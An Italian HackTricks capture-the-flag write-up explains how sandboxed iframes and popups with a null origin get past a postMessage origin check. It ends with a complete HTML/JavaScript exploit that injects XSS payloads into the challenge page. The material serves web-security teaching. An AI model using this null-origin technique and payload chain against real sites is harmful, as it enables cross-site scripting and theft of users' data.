Bypassare SOP con Iframes - 1

Reading time: 3 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Iframes in SOP-1

In questa sfida creata da NDevTK e Terjanq devi sfruttare un XSS nel codice

javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}

Il problema principale è che la pagina principale utilizza DomPurify per inviare il data.body, quindi per inviare i propri dati html a quel codice è necessario bypassare e.origin !== window.origin.

Vediamo la soluzione che propongono.

SOP bypass 1 (e.origin === null)

Quando //example.org è incorporato in un iframe sandboxed, l'origin della pagina sarà null, cioè window.origin === null. Quindi, semplicemente incorporando l'iframe tramite <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> potremmo forzare l'origin null.

Se la pagina fosse incorporabile, potresti bypassare quella protezione in questo modo (i cookie potrebbero anche dover essere impostati su SameSite=None).

SOP bypass 2 (window.origin === null)

Il fatto meno noto è che quando il valore sandbox allow-popups è impostato, allora il popup aperto erediterà tutti gli attributi sandboxed a meno che non sia impostato allow-popups-to-escape-sandbox.
Quindi, aprire un popup da un origin null farà sì che window.origin all'interno del popup sia anch'esso null.

Soluzione della sfida

Pertanto, per questa sfida, si potrebbe creare un iframe, aprire un popup alla pagina con il gestore di codice XSS vulnerabile (/iframe.php), poiché window.origin === e.origin perché entrambi sono null, è possibile inviare un payload che sfrutterà l'XSS.

Quel payload otterrà l'identificatore e invierà un XSS indietro alla pagina principale (la pagina che ha aperto il popup), che cambierà posizione verso il vulnerabile /iframe.php. Poiché l'identificatore è noto, non importa che la condizione window.origin === e.origin non sia soddisfatta (ricorda, l'origin è il popup dall'iframe che ha origin null) perché data.identifier === identifier. Quindi, l'XSS si attiverà di nuovo, questa volta nell'origin corretto.

html
<body>
<script>
f = document.createElement("iframe")

// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks